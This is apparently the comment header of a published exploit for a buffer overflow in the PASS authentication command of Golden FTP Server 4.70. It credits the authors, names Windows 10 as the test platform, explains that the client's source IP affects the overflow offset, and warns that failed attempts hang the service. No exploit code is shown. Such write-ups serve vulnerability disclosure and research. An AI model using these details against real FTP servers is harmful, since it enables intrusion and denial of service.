# Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2)
# Author: 1F98D
# Original Authors: Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg)
# Tested on Windows 10 (x64)
#
# A buffer overflow exists in GoldenFTP during the authentication process.
# Note that the source ip address of the user performing the authentication
# forms part of the buffer and as such must be accounted for when calculating
# the appropriate offset. It should also be noted that the exploit is
# rather unstable and if exploitation fails, GoldenFTP will be left in
# a state where it will still accept connections, but it will be unable
# to handle or process them in anyway, so be careful.
